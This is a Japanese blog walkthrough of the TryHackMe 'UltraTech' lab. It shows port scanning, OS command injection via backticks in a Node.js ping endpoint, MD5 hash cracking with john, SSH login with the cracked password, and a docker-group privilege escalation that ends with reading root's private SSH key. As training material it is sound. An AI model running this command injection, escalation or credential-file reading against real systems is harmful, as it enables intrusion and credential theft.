0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】UltraTech:Walkthrough

Posted at

概要

TryHackMe「UltraTech」のWalkthroughです。

Task2

Q1.Which software is using the port 8081?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.126.244 -oN nmap_result
PORT      STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8081/tcp  open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-cors: HEAD GET POST PUT DELETE PATCH
31331/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
|_http-server-header: Apache/2.4.29 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 7.6p1
8081 http Node.js Express framework
31331 http Apache httpd 2.4.29

A.Node.js

Q2.Which other non-standard port is used?

A.31331

Q3.Which software using this port?

A.Apache

Q4.Which GNU/Linux distribution seems to be used?

A.Ubuntu

Q5.The software using the port 8081 is a REST api, how many of its routes are used by the web application?

8081ポートにアクセスするとUltraTech API v0.1.3という情報を得られました。

$ curl http://10.10.126.244:8081          
UltraTech API v0.1.3

8081ポートのディレクトリスキャンをします。

$ dirsearch -u http://10.10.126.244:8081/
[07:10:24] 200 -   39B  - /auth/
[07:10:24] 200 -   39B  - /auth
[07:11:18] 500 -    1KB - /ping

A.2

Task3

Q1.There is a database lying around, what is its filename?

Hint.Look closely how the API is used. Don't spend too much time on /auth, it isn't the only route available.

/pingへアクセスするとエラー文が表示されました。

8081 ping.jpg

31331ポートのディレクトリスキャンをします。

$ dirsearch -u http://10.10.126.244:31331
[08:02:26] 301 -  321B  - /css  ->  http://10.10.126.244:31331/css/
[08:02:34] 200 -   15KB - /favicon.ico
[08:02:41] 200 -  707B  - /images/
[08:02:41] 301 -  324B  - /images  ->  http://10.10.126.244:31331/images/   
[08:02:44] 301 -  328B  - /javascript  ->  http://10.10.126.244:31331/javascript/
[08:02:45] 200 -  483B  - /js/
[08:03:10] 200 -   53B  - /robots.txt

/js/api.jsを発見しました。

/js/api.js
(function() {
    console.warn('Debugging ::');

    function getAPIURL() {
        return `${window.location.hostname}:8081`
    }
    
    function checkAPIStatus() {
        const req = new XMLHttpRequest();
        try {
            const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`
            req.open('GET', url, true);
            req.onload = function (e) {
                if (req.readyState === 4) {
                    if (req.status === 200) {
                        console.log('The api seems to be running')
                    } else {
                        console.error(req.statusText);
                    }
                }
            };
            req.onerror = function (e) {
                console.error(xhr.statusText);
            };
            req.send(null);
        }
        catch (e) {
            console.error(e)
            console.log('API Error');
        }
    }
    checkAPIStatus()
    const interval = setInterval(checkAPIStatus, 10000);
    const form = document.querySelector('form')
    form.action = `http://${getAPIURL()}/auth`;
    
})();

/ping?ip=でpingを実行できました。

$ curl http://10.10.126.244:8081/ping?ip=127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.013 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.013/0.013/0.013/0.000 ms

OSコマンドインジェクションが出来そうです。
NodeJSのOSコマンドインジェクションを調べると;``を使用するテクニックが見つかりました。

``を使用してコマンドを実行でき、ファイルを取得できました。

nodejs ls.jpg

A.utech.db.sqlite

Q2.What is the first user's password hash?

utech.db.sqliteのデータからr00t,adminのハッシュ値を得られました。

hash.jpg

A.f357a0c52799563c7c7b76c1e7543a32

Q3.What is the password associated with this hash?

Hint.We will, we will *******.txt

ハッシュ値を解析し、パスワードを得られました。

$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
n100906          (?)     
mrsheafy         (?)

A.n100906

Task4

Q1.What are the first 9 characters of the root user's private SSH key?

Username: r00t,Password: n100906でSSH接続できました。

$ ssh r00t@10.10.126.244
r00t@ultratech-prod:~$

dockerグループに所属していることが分かりました。

$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

Dockerグループに所属している際に使用できる権限昇格テクニックが見つかりました。

Dockerイメージを確認します。

$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
bash                latest              495d6437fc1e        5 years ago         15.8MB

権限昇格に成功しました。

$ docker run -v /:/mnt --rm -it bash chroot /mnt sh
# whoami
root

rootのSSH秘密鍵を得られました。

# cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuDSna2F3pO8vMOPJ4l2PwpLFqMpy1SWYaaREhio64iM65HSm

A.MIIEogIBA

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?